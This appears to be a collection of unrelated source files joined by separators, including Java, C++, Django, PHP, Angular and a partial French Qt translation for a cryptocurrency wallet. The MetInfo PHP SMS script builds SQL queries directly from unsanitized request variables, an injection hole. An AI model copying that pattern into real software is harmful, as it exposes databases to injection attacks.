gl = [];
la = [];
for (k in f) {
if (f.hasOwnProperty(k) && k.charAt(0) !== '(') {
v = f[k];
switch (v) {
case 'closure':
cl.push(k);
break;
case 'exception':
ex.push(k);
break;
case 'var':
va.push(k);
break;
case 'unused':
un.push(k);
break;
case 'label':
la.push(k);
break;
case 'outer':
ou.push(k);
break;
case true:
gl.push(k);
break;
}
}
}
o.push('<br><div class=function><i>' + f['(line)'] + '</i> ' +
(f['(name)'] || '') + '(' +
(f['(params)'] || '') + ')</div>');
detail('Closure', cl);
detail('Variable', va);
detail('Exception', ex);
detail('Outer', ou);
detail('Global', gl);
detail('<big><b>Unused</b></big>', un);
detail('Label', la);
}
a = [];
for (k in member) {
if (typeof member[k] === 'number') {
a.push(k);
}
}
if (a.length) {
a = a.sort();
m = '<br><pre>/*members ';
l = 10;
for (i = 0; i < a.length; i += 1) {
k = a[i];
n = k.name();
if (l + n.length > 72) {
o.push(m + '<br>');
m = ' ';
l = 1;
}
l += n.length + 2;
if (member[k] === 1) {
n = '<i>' + n + '</i>';
}
if (i < a.length - 1) {
n += ', ';
}
m += n;
}
o.push(m + '<br>*/</pre>');
}
o.push('</div>');
}
return o.join('');
};
return itself;
}());
|
package eu.bcvsolutions.idm.core.api.rest.lookup;
import java.io.IOException;
import java.io.Serializable;
import java.time.LocalDate;
import java.util.List;
import java.util.Objects;
import java.util.UUID;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.GenericTypeResolver;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.ImmutableMap;
import eu.bcvsolutions.idm.core.api.domain.Codeable;
import eu.bcvsolutions.idm.core.api.domain.CoreResultCode;
import eu.bcvsolutions.idm.core.api.dto.BaseDto;
import eu.bcvsolutions.idm.core.api.exception.ResultCodeException;
import eu.bcvsolutions.idm.core.eav.api.domain.PersistentType;
import eu.bcvsolutions.idm.core.eav.api.dto.IdmFormAttributeDto;
import eu.bcvsolutions.idm.core.eav.api.dto.IdmFormDefinitionDto;
import eu.bcvsolutions.idm.core.eav.api.dto.IdmFormProjectionDto;
import eu.bcvsolutions.idm.core.eav.api.dto.IdmFormValueDto;
import eu.bcvsolutions.idm.core.eav.api.service.FormService;
/**
* Find {@link IdmFormProjectionDto} by uuid identifier or by {@link Codeable} identifier.
*
* @author Radek Tomiška
* @param <T> dto
* @since 11.0.0
*/
public abstract class AbstractFormProjectionLookup<DTO extends BaseDto> implements FormProjectionLookup<DTO> {
@Autowired private ObjectMapper mapper;
//
private final Class<?> domainType;
/**
* Creates a new {@link AbstractFormProjectionLookup} instance discovering the supported type from the generics signature.
*/
public AbstractFormProjectionLookup() {
this.domainType = GenericTypeResolver.resolveTypeArgument(getClass(), FormProjectionLookup.class);
}
/*
* (non-Javadoc)
* @see org.springframework.plugin.core.Plugin#supports(java.lang.Object)
*/
@Override
public boolean supports(Class<?> delimiter) {
return domainType.equals(delimiter);
}
@Override
public IdmFormDefinitionDto lookupBasicFieldsDefinition(DTO dto) {
return getBasicFieldsDefinition(dto);
}
@Override
public IdmFormDefinitionDto lookupFormDefinition(DTO dto, IdmFormDefinitionDto formDefinition) {
return getFormDefinition(dto, formDefinition);
}
/**
* Construct basic fields form definition.
*
* @param dto basic fields owner
* @return basic fields form definition
*/
protected IdmFormDefinitionDto getBasicFieldsDefinition(DTO dto) {
return getFormDefinition(dto, null); // null ~ basicFileds ~ without form definition
}
/**
* Get overriden / configured form definition by projection.
* @param dto projection owner
* @param formDefinition form definition to load
* @return overriden form definition
*
* @since 12.0.0
*/
protected IdmFormDefinitionDto getFormDefinition(DTO dto, IdmFormDefinitionDto formDefinition) {
IdmFormProjectionDto formProjection = lookupProjection(dto);
if (formProjection == null) {
return null;
}
String formValidations = formProjection.getFormValidations();
if (StringUtils.isEmpty(formValidations)) {
return null;
}
//
if (formDefinition == null) { // ~ basic fields
formDefinition = new IdmFormDefinitionDto();
formDefinition.setCode(FormService.FORM_DEFINITION_CODE_BASIC_FIELDS);
}
IdmFormDefinitionDto overridenDefinition = new IdmFormDefinitionDto(); // clone ~ prevent to change input (e.g. cache can be modified)
overridenDefinition.setId(formDefinition.getId());
overridenDefinition.setCode(formDefinition.getCode());
// transform form attributes from json
try {
List<IdmFormAttributeDto> attributes = mapper.readValue(formValidations, new TypeReference<List<IdmFormAttributeDto>>() {});
attributes
.stream()
.filter(attribute -> Objects.equals(attribute.getFormDefinition(), overridenDefinition.getId()))
.forEach(attribute -> {
if (attribute.getId() == null) {
// we need artificial id to find attributes in definition / instance
attribute.setId(UUID.randomUUID());
}
overridenDefinition.addFormAttribute(attribute);
});
//
return overridenDefinition;
} catch (IOException ex) {
throw new ResultCodeException(
CoreResultCode.FORM_PROJECTION_WRONG_VALIDATION_CONFIGURATION,
ImmutableMap.of("formProjection", formProjection.getCode()),
ex
);
}
}
/**
* Add value, if it's filled into filled values.
*
* @param filledValues filled values
* @param formDefinition fields form definition (e.g. basic fields form definition)
* @param attributeCode attribute code
* @param attributeValue attribute value
*/
protected void appendAttributeValue(
List<IdmFormValueDto> filledValues,
IdmFormDefinitionDto formDefinition,
String attributeCode,
Serializable attributeValue) {
if (attributeValue == null) {
return;
}
IdmFormAttributeDto attribute = formDefinition.getMappedAttributeByCode(attributeCode);
if (attribute == null) {
return;
}
if (attribute.getPersistentType() == null) {
if (attributeValue instanceof UUID) {
attribute.setPersistentType(PersistentType.UUID);
} else if (attributeValue instanceof LocalDate) {
attribute.setPersistentType(PersistentType.DATE);
} else {
// TODO: support other persistent types (unused now)
attribute.setPersistentType(PersistentType.TEXT);
}
}
//
IdmFormValueDto value = new IdmFormValueDto(attribute);
value.setValue(attributeValue);
filledValues.add(value);
}
} |
module EchoNest
module Xml
class AudioDoc
include HappyMapper
tag :doc
element :artist_id, String
element :foreign_artist_id, String
element :artist, String
element :release, String
element :title, String
element :url, String
element :link, String
element :date, String
element :length, String
end
end
end
|
from __future__ import absolute_import, unicode_literals
from django.conf import settings
from django.conf.urls import include, url
from django.contrib import admin
from django.contrib.auth import urls as djangoauth_urls
from search import views as search_views
from blog import views as blog_views
from wagtail.wagtailadmin import urls as wagtailadmin_urls
from wagtail.wagtailcore import urls as wagtail_urls
from wagtail.wagtaildocs import urls as wagtaildocs_urls
urlpatterns = [
url(r'^', include(djangoauth_urls)),
url(r'^django-admin/', include(admin.site.urls)),
url(r'^admin/', include(wagtailadmin_urls)),
url(r'^documents/', include(wagtaildocs_urls)),
url(r'^search/$', search_views.search, name='search'),
# For anything not caught by a more specific rule above, hand over to
# Wagtail's page serving mechanism. This should be the last pattern in
# the list:
url(r'', include(wagtail_urls)),
# Alternatively, if you want Wagtail pages to be served from a subpath
# of your site, rather than the site root:
# url(r'^pages/', include(wagtail_urls)),
]
if settings.DEBUG:
from django.conf.urls.static import static
from django.contrib.staticfiles.urls import staticfiles_urlpatterns
# Serve static and media files from development server
urlpatterns += staticfiles_urlpatterns()
urlpatterns += static(settings.MEDIA_URL,
document_root=settings.MEDIA_ROOT)
|
/*
* Generated by class-dump 3.3.3 (64 bit).
*
* class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2010 by Steve Nygard.
*/
#import "MTMMessage.h"
@class NSDictionary;
@interface MTMFakeMessage : MTMMessage
{
NSDictionary *_messageDescription;
}
- (id)initWithDescription:(id)arg1;
- (void)dealloc;
- (id)valueForKey:(id)arg1;
- (unsigned long long)messageFlags;
- (unsigned long long)readFlags;
@end
|
/* -*- mode:C++; -*- */
/* MIT License -- MyThOS: The Many-Threads Operating System
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
* Copyright 2016 Robert Kuban, Randolf Rotta, and contributors, BTU Cottbus-Senftenberg
*/
#include "objects/CapEntry.hh"
#include "objects/mlog.hh"
#include "util/error-trace.hh"
namespace mythos {
void CapEntry::initRoot(Cap c)
{
ASSERT(isKernelAddress(this));
ASSERT(c.isUsable());
ASSERT(cap().isEmpty());
Link loopLink(this);
_next.store(loopLink.value());
_prev.store(loopLink.value());
_cap.store(c.value());
}
bool CapEntry::tryAcquire()
{
auto expected = Cap::asEmpty().value();
const auto desired = Cap::asAllocated().value();
return _cap.compare_exchange_strong(expected, desired);
}
optional<void> CapEntry::acquire()
{
if (tryAcquire()) RETURN(Error::SUCCESS);
else THROW(Error::CAP_NONEMPTY);
}
void CapEntry::commit(const Cap& cap)
{
ASSERT(isLinked());
_cap.store(cap.value());
}
void CapEntry::reset()
{
ASSERT(isUnlinked() || cap().isAllocated());
_prev.store(Link().value());
_next.store(Link().value());
// mark as empty
_cap.store(Cap().value());
}
void CapEntry::setPrevPreserveFlags(CapEntry* ptr)
{
auto expected = _prev.load();
uintlink_t desired;
do {
desired = Link(expected).withPtr(ptr).value();
} while (!_prev.compare_exchange_weak(expected, desired));
}
optional<void> CapEntry::moveTo(CapEntry& other)
{
ASSERT(other.cap().isAllocated());
ASSERT(!other.isLinked());
if (!lock_prev()) {
other.reset();
THROW(Error::GENERIC_ERROR);
}
lock();
auto thisCap = cap();
if (isRevoking() || !thisCap.isUsable()) {
other.reset();
unlock();
unlock_prev();
THROW(Error::INVALID_CAPABILITY);
}
auto next= Link(_next).withoutFlags();
auto prev= Link(_prev).withoutFlags();
next->setPrevPreserveFlags(&other);
other._next.store(next.value());
// deleted or revoking can not be set in other._prev
// as we allocated other for moving
other._prev.store(prev.value());
prev->_next.store(Link(&other).value());
other.commit(thisCap);
_prev.store(Link().value());
_next.store(Link().value());
_cap.store(Cap().value());
RETURN(Error::SUCCESS);
}
bool CapEntry::kill()
{
auto expected = _cap.load();
Cap curCap;
do {
curCap = Cap(expected);
MLOG_DETAIL(mlog::cap, this, ".kill", DVAR(curCap));
if (!curCap.isUsable()) {
return curCap.isZombie() ? true : false;
}
} while (!_cap.compare_exchange_strong(expected, curCap.asZombie().value()));
return true;
}
optional<void> CapEntry::unlink()
{
auto next = Link(_next).withoutFlags();
auto prev = Link(_prev).withoutFlags();
next->_prev.store(prev.value());
prev->_next.store(next.value());
_prev.store(Link().value());
_next.store(Link().value());
RETURN(Error::SUCCESS);
}
Error CapEntry::try_lock_prev()
{
auto prev = Link(_prev).ptr();
if (!prev) {
return Error::GENERIC_ERROR;
}
if (prev->try_lock()) {
if (Link(_prev.load()).ptr() == prev) {
return Error::SUCCESS;
} else { // my _prev has changed in the mean time
prev->unlock();
return Error::RETRY;
}
} else return Error::RETRY;
}
bool CapEntry::lock_prev()
{
Error result;
for (result = try_lock_prev(); result == Error::RETRY; result = try_lock_prev()) {
hwthread_pause();
}
return result == Error::SUCCESS;
}
} // namespace mythos
|
<HTML>
<HEAD>
<TITLE>References to book.html (second edition)</TITLE>
</HEAD>
<BODY BGCOLOR="#ffffff">
<A NAME="references_top"></A>
<P>
<CENTER>
<CODE>
<A HREF="book.html#book.html_top">book.html</A>
| <A HREF="toc.html#toc_top">TOC</A>
| <A HREF="cdinfo.html#cd_top">CD-ROM</A>
| References
| <A HREF="errata.html#errata_top">Errata</a>
| <A HREF="../trailmap.html">Tutorial Trail Map</A>
</CODE>
<HR WIDTH="66%">
</CENTER>
<p>
<table>
<tr>
<td>
<IMG SRC="../images/tutorial-quarter2e.gif" WIDTH="112" HEIGHT="141"
ALIGN="BOTTOM" NATURALSIZEFLAG="3" border="1">
</td>
<td>
<H1>
References to book.html (second edition)
</H1>
</td>
</tr>
</table>
<p>
<P><A NAME="pagexiii"></A><A HREF="book.html#pagexiii">page xiii</A>
<BLOCKQUOTE>Browsers that support JDK 1.1:
<BLOCKQUOTE>[PENDING]</BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="pagexvii"></A><A HREF="book.html#pagexvii">page xvii</A>
<BLOCKQUOTE>What's new since the book went to press:
<BLOCKQUOTE>[PENDING]</BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page3"></A><A HREF="book.html#page3">page 3</A>
<BLOCKQUOTE>The Java Language Environment White Paper and other white papers:
<BLOCKQUOTE>
<a href="http://java.sun.com/docs/white/index.html">
http://java.sun.com/docs/white/index.html
</a></BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page19"></A><A HREF="book.html#page19">page 19</A>
<BLOCKQUOTE>Browsers that support JDK 1.1:
<BLOCKQUOTE>[PENDING]</BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page171"></A><A HREF="book.html#page171">page 171</A>
<BLOCKQUOTE>Tips on writing and delivering applets:
<BLOCKQUOTE>[PENDING]</BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page205"></A><A HREF="book.html#page205">page 205</A>
<BLOCKQUOTE>The Animator applet and other demos:
<BLOCKQUOTE>
<a href="http://java.sun.com/products/jdk/1.1/docs/relnotes/demos.html">
http://java.sun.com/products/jdk/1.1/docs/relnotes/demos.html
</a></BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page210"></A><A HREF="book.html#page210">page 210</A>
<BLOCKQUOTE>Browser support of various JAR and other archive formats:
<BLOCKQUOTE>[PENDING]</BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page212"></A><A HREF="book.html#page212">page 212</A>
<BLOCKQUOTE>Marianne Mueller's Security White Paper:
<BLOCKQUOTE><a href="http://java.sun.com/sfaq/">http://java.sun.com/sfaq/</a></BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page550"></A><A HREF="book.html#page550">page 550</A>
<BLOCKQUOTE>Image Filters:
<BLOCKQUOTE><a href="http://java.sun.com/docs/books/tutorial/ui/drawing/useFilter.html">http://java.sun.com/docs/books/tutorial/ui/drawing/useFilter.html</a></BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page635"></A><A HREF="book.html#page635">page 635</A>
<BLOCKQUOTE>Online documentation for JDK 1.1 features:
<BLOCKQUOTE>
<a href="http://java.sun.com/products/jdk/1.1/docs/index.html">
http://java.sun.com/products/jdk/1.1/docs/index.html
</a>
</BLOCKQUOTE>
</BLOCKQUOTE>
<P><A NAME="page680"></A><A HREF="book.html#page680">page 680</A>
<BLOCKQUOTE>Downloading the latest 1.1-compatible Swing release:
<BLOCKQUOTE><a href="http://java.sun.com/products/jfc/index.html">http://java.sun.com/products/jfc/index.html</BLOCKQUOTE>
</BLOCKQUOTE>
<P>
<CENTER>
<HR WIDTH="66%">
<CODE>
<A HREF="book.html#book.html_top">book.html</A>
| <A HREF="toc.html#toc_top">TOC</A>
| <A HREF="cdinfo.html#cd_top">CD-ROM</A>
| References
| <A HREF="errata.html#errata_top">Errata</a>
| <A HREF="../trailmap.html">Tutorial Trail Map</A>
</CODE>
</CENTER>
</BODY>
</HTML>
|
<?php
use Winged\Model\Model;
/**
* Class Cidades
*
* @package Winged\Model
*/
class Cidades extends Model
{
public function __construct()
{
parent::__construct();
return $this;
}
/** @var $id_cidade integer */
public $id_cidade;
/** @var $id_estado integer */
public $id_estado;
/** @var $cidade string */
public $cidade;
/**
* @return string
*/
public static function tableName()
{
return "cidades";
}
/**
* @return string
*/
public static function primaryKeyName()
{
return "id_cidade";
}
/**
* @param bool $pk
*
* @return $this|int|Model
*/
public function primaryKey($pk = false)
{
if ($pk && (is_int($pk) || intval($pk) != 0)) {
$this->id_cidade = $pk;
return $this;
}
return $this->id_cidade;
}
/**
* @return array
*/
public function behaviors()
{
return [];
}
/**
* @return array
*/
public function reverseBehaviors()
{
return [];
}
/**
* @return array
*/
public function labels()
{
return [
'cidade' => 'Nome da cidade: ',
'id_estado' => 'Estado em que está localizada: ',
];
}
/**
* @return array
*/
public function messages()
{
return [
'cidade' => [
'required' => 'Esse campo é obrigatório',
],
'id_estado' => [
'required' => 'Esse campo é obrigatório',
],
];
}
/**
* @return array
*/
public function rules()
{
return [
'id_estado' => [
'required' => true,
],
'cidade' => [
'required' => true,
]
];
}
} |
(function () {
angular.module('travelApp', ['toursApp'])
.service('dateParse', function () {
this.myDateParse = function (value) {
var pattern = /Date\(([^)]+)\)/;
var results = pattern.exec(value);
var dt = new Date(parseFloat(results[1]));
return dt;
}
})
.filter('myDateFormat', [
'dateParse', function (dateParse) {
return function (x) {
return dateParse.myDateParse(x);
};
}
]);
})();
|
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$depth='../';
require_once $depth.'../login/login_check.php';
require_once ROOTPATH.'include/export.func.php';
if($action=='code'){
$met_file='/sms/code.php';
$post=array('total_pass'=>$total_pass,'total_email'=>$total_email,'total_weburl'=>$total_weburl,'total_code'=>$total_code);
$re = curl_post($post,30);
if($re=='error_no'){
$lang_re=$lang_smstips79;
}elseif($re=='error_use'){
$lang_re=$lang_smstips80;
}elseif($re=='error_time'){
$lang_re=$lang_smstips81;
}else{
$lang_re=$lang_smstips82;
}
metsave("../app/sms/index.php?lang=$lang&anyid=$anyid&cs=$cs",$lang_re,$depth);
}
$total_passok = $db->get_one("SELECT * FROM $met_otherinfo WHERE lang='met_sms'");
if($total_passok['authpass']==''){
if($action=='savedata'){
$query = "delete from $met_otherinfo where lang='met_sms'";
$db->query($query);
$query = "INSERT INTO $met_otherinfo SET
authpass = '$total_pass',
lang = 'met_sms'";
$db->query($query);
echo 'ok';
die();
}
}
if(!function_exists('fsockopen')&&!function_exists('pfsockopen')&&!get_extension_funcs('curl')){
$disable="disabled=disabled";
$fstr.=$lang_smstips77;
}
$css_url=$depth."../templates/".$met_skin."/css";
$img_url=$depth."../templates/".$met_skin."/images";
include template('app/sms/index');footer();
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?> |
<?xml version="1.0" ?><!DOCTYPE TS><TS language="fr_CA" version="2.1">
<context>
<name>AboutDialog</name>
<message>
<location filename="../forms/aboutdialog.ui" line="+14"/>
<source>About People</source>
<translation>Au sujet de People</translation>
</message>
<message>
<location line="+39"/>
<source><b>People</b> version</source>
<translation>Version de <b>People</b></translation>
</message>
<message>
<location line="+41"/>
<source>Copyright © 2009-2014 The Bitcoin developers
Copyright © 2012-2014 The NovaCoin developers
Copyright © 2014 The BlackCoin developers
Copyright © 2014-%1 The People developers</source>
<translation type="unfinished"/>
</message>
<message>
<source>Copyright © 2009-2014 The Bitcoin developers
Copyright © 2012-2014 The NovaCoin developers
Copyright © 2014 The BlackCoin developers
Copyright © 2014-[CLIENT_LAST_COPYRIGHT] The People developers</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>
This is experimental software.
Distributed under the MIT/X11 software license, see the accompanying file COPYING or <a href="http://www.opensource.org/licenses/mit-license.php">http://www.opensource.org/licenses/mit-license.php</a>.
This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (<a href="https://www.openssl.org/">https://www.openssl.org/</a>) and cryptographic software written by Eric Young (<a href="mailto:eay@cryptsoft.com">eay@cryptsoft.com</a>) and UPnP software written by Thomas Bernard.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>AddressTableModel</name>
<message>
<location filename="../addresstablemodel.cpp" line="+218"/>
<source>Label</source>
<translation>Étiquette</translation>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+0"/>
<source>pubkey</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>stealth</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+34"/>
<source>(no label)</source>
<translation>(aucune étiquette)</translation>
</message>
<message>
<location line="+4"/>
<source>Stealth Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>n/a</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>AskPassphraseDialog</name>
<message>
<location filename="../forms/askpassphrasedialog.ui" line="+26"/>
<source>Passphrase Dialog</source>
<translation>Dialogue de phrase de passe</translation>
</message>
<message>
<location line="+21"/>
<source>Enter passphrase</source>
<translation>Saisir la phrase de passe</translation>
</message>
<message>
<location line="+14"/>
<source>New passphrase</source>
<translation>Nouvelle phrase de passe</translation>
</message>
<message>
<location line="+14"/>
<source>Repeat new passphrase</source>
<translation>Répéter la phrase de passe</translation>
</message>
<message>
<location line="+33"/>
<location line="+16"/>
<source>Serves to disable the trivial sendmoney when OS account compromised. Provides no real security.</source>
<translation>Sert à désactiver les transactions sortantes si votre compte de système d'exploitation est compromis. Ne procure pas de réelle sécurité.</translation>
</message>
<message>
<location line="-13"/>
<source>For staking only</source>
<translation>Pour "staking" seulement</translation>
</message>
<message>
<location line="+16"/>
<source>Enable messaging</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../askpassphrasedialog.cpp" line="+39"/>
<source>Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>10 or more random characters</b>, or <b>eight or more words</b>.</source>
<translation>Saisir la nouvelle phrase de passe pour le portefeuille. <br/>Veuillez utiliser une phrase de passe de <b>10 caractères aléatoires ou plus</b>, ou de <b>huit mots ou plus</b>.</translation>
</message>
<message>
<location line="+1"/>
<source>Encrypt wallet</source>
<translation>Crypter le portefeuille</translation>
</message>
<message>
<location line="+11"/>
<source>This operation needs your wallet passphrase to unlock the wallet.</source>
<translation>Cette opération nécessite votre phrase de passe pour déverrouiller le portefeuille.</translation>
</message>
<message>
<location line="+5"/>
<source>Unlock wallet</source>
<translation>Déverrouiller le portefeuille</translation>
</message>
<message>
<location line="+3"/>
<source>This operation needs your wallet passphrase to decrypt the wallet.</source>
<translation>Cette opération nécessite votre phrase de passe pour déchiffrer le portefeuille.</translation>
</message>
<message>
<location line="+5"/>
<source>Decrypt wallet</source>
<translation>Déchiffrer le portefeuille</translation>
</message>
<message>
<location line="+3"/>
<source>Change passphrase</source>
<translation>Changer la phrase de passe</translation>
</message>
<message>
<location line="+1"/>
<source>Enter the old and new passphrase to the wallet.</source>
<translation>Saisir l’ancienne et la nouvelle phrase de passe du portefeuille</translation>
</message>
<message>
<location line="+45"/>
<source>Confirm wallet encryption</source>
<translation>Confirmer le cryptage du portefeuille</translation>
</message>
<message>
<location line="+1"/>
<source>Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR COINS</b>!</source>
<translation>ATTENTION : Si vous cryptez votre portefeuille et perdez votre passphrase, vous ne pourrez plus accéder à vos People</translation>
</message>
<message>
<location line="+0"/>
<source>Are you sure you wish to encrypt your wallet?</source>
<translation>Êtes-vous sûr de vouloir crypter votre portefeuille ?</translation>
</message>
<message>
<location line="+15"/>
<source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source>
<translation>IMPORTANT : Toute sauvegarde précédente de votre fichier de portefeuille devrait être remplacée par le nouveau fichier de portefeuille crypté. Pour des raisons de sécurité, les sauvegardes précédentes de votre fichier de portefeuille non crypté deviendront inutilisables dès lors que vous commencerez à utiliser le nouveau portefeuille crypté.</translation>
</message>
<message>
<location line="+104"/>
<location line="+24"/>
<source>Warning: The Caps Lock key is on!</source>
<translation>Attention : la touche Verr. Maj. est activée !</translation>
</message>
<message>
<location line="-134"/>
<location line="+61"/>
<source>Wallet encrypted</source>
<translation>Portefeuille crypté</translation>
</message>
<message>
<location line="-59"/>
<source>People will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your coins from being stolen by malware infecting your computer.</source>
<translation>L'application People va désormais se terminer afin de finaliser le processus de cryptage. Merci de noter que le cryptage du portefeuille ne garantit pas de se prémunir du vol via l'utilisation de malware, qui auraient pu infecter votre ordinateur. </translation>
</message>
<message>
<location line="+13"/>
<location line="+7"/>
<location line="+45"/>
<location line="+6"/>
<source>Wallet encryption failed</source>
<translation>Le cryptage du portefeuille a échoué</translation>
</message>
<message>
<location line="-57"/>
<source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source>
<translation>Le cryptage du portefeuille a échoué en raison d'une erreur interne. Votre portefeuille n'a pas été crypté.</translation>
</message>
<message>
<location line="+7"/>
<location line="+51"/>
<source>The supplied passphrases do not match.</source>
<translation>Les phrases de passe saisies ne correspondent pas.</translation>
</message>
<message>
<location line="-39"/>
<source>Wallet unlock failed</source>
<translation>Le déverrouillage du portefeuille a échoué</translation>
</message>
<message>
<location line="+1"/>
<location line="+13"/>
<location line="+19"/>
<source>The passphrase entered for the wallet decryption was incorrect.</source>
<translation>La phrase de passe saisie pour décrypter le portefeuille était incorrecte.</translation>
</message>
<message>
<location line="-20"/>
<source>Wallet decryption failed</source>
<translation>Le décryptage du portefeuille a échoué</translation>
</message>
<message>
<location line="+14"/>
<source>Wallet passphrase was successfully changed.</source>
<translation>La phrase de passe du portefeuille a été modifiée avec succès.</translation>
</message>
</context>
<context>
<name>ClientModel</name>
<message>
<location filename="../clientmodel.cpp" line="+137"/>
<source>Network Alert</source>
<translation>Alerte réseau</translation>
</message>
</context>
<context>
<name>CoinControlDialog</name>
<message>
<location filename="../forms/coincontroldialog.ui" line="+14"/>
<source>Coin Control</source>
<translation>Fonctions de contrôle des monnaies</translation>
</message>
<message>
<location line="+31"/>
<source>Quantity:</source>
<translation>Quantité :</translation>
</message>
<message>
<location line="+32"/>
<source>Bytes:</source>
<translation>Octets :</translation>
</message>
<message>
<location line="+48"/>
<source>Amount:</source>
<translation>Montant :</translation>
</message>
<message>
<location line="+32"/>
<source>Priority:</source>
<translation>Priorité :</translation>
</message>
<message>
<location line="+48"/>
<source>Fee:</source>
<translation>Frais :</translation>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation>Sortie faible :</translation>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="+528"/>
<location line="+30"/>
<source>no</source>
<translation>non</translation>
</message>
<message>
<location filename="../forms/coincontroldialog.ui" line="+51"/>
<source>After Fee:</source>
<translation>Après les frais :</translation>
</message>
<message>
<location line="+35"/>
<source>Change:</source>
<translation>Monnaie :</translation>
</message>
<message>
<location line="+69"/>
<source>(un)select all</source>
<translation>Tout (dé)sélectionner</translation>
</message>
<message>
<location line="+13"/>
<source>Tree mode</source>
<translation>Mode arborescence</translation>
</message>
<message>
<location line="+16"/>
<source>List mode</source>
<translation>Mode liste</translation>
</message>
<message>
<location line="+45"/>
<source>Amount</source>
<translation>Montant</translation>
</message>
<message>
<location line="+5"/>
<source>Label</source>
<translation>Intitulé</translation>
</message>
<message>
<location line="+5"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+5"/>
<source>Date</source>
<translation>Date</translation>
</message>
<message>
<location line="+5"/>
<source>Confirmations</source>
<translation>Confirmations</translation>
</message>
<message>
<location line="+3"/>
<source>Confirmed</source>
<translation>Confirmée</translation>
</message>
<message>
<location line="+5"/>
<source>Priority</source>
<translation>Priorité</translation>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="-520"/>
<source>Copy address</source>
<translation>Copier l’adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation>Copier l’étiquette</translation>
</message>
<message>
<location line="+1"/>
<location line="+26"/>
<source>Copy amount</source>
<translation>Copier le montant</translation>
</message>
<message>
<location line="-25"/>
<source>Copy transaction ID</source>
<translation>Copier l'ID de la transaction</translation>
</message>
<message>
<location line="+24"/>
<source>Copy quantity</source>
<translation>Copier la quantité</translation>
</message>
<message>
<location line="+2"/>
<source>Copy fee</source>
<translation>Copier les frais</translation>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation>Copier le montant après les frais</translation>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation>Copier les octets</translation>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation>Copier la priorité</translation>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation>Copier la sortie faible</translation>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation>Copier la monnaie</translation>
</message>
<message>
<location line="+317"/>
<source>highest</source>
<translation>la plus élevée</translation>
</message>
<message>
<location line="+1"/>
<source>high</source>
<translation>élevée</translation>
</message>
<message>
<location line="+1"/>
<source>medium-high</source>
<translation>moyennement-élevée</translation>
</message>
<message>
<location line="+1"/>
<source>medium</source>
<translation>moyenne</translation>
</message>
<message>
<location line="+4"/>
<source>low-medium</source>
<translation>moyennement-basse</translation>
</message>
<message>
<location line="+1"/>
<source>low</source>
<translation>basse</translation>
</message>
<message>
<location line="+1"/>
<source>lowest</source>
<translation>la plus basse</translation>
</message>
<message>
<location line="+130"/>
<location line="+30"/>
<source>DUST</source>
<translation>DUST</translation>
</message>
<message>
<location line="-30"/>
<location line="+30"/>
<source>yes</source>
<translation>oui</translation>
</message>
<message>
<location line="+10"/>
<source>This label turns red, if the transaction size is bigger than 10000 bytes.
This means a fee of at least %1 per kb is required.
Can vary +/- 1 Byte per input.</source>
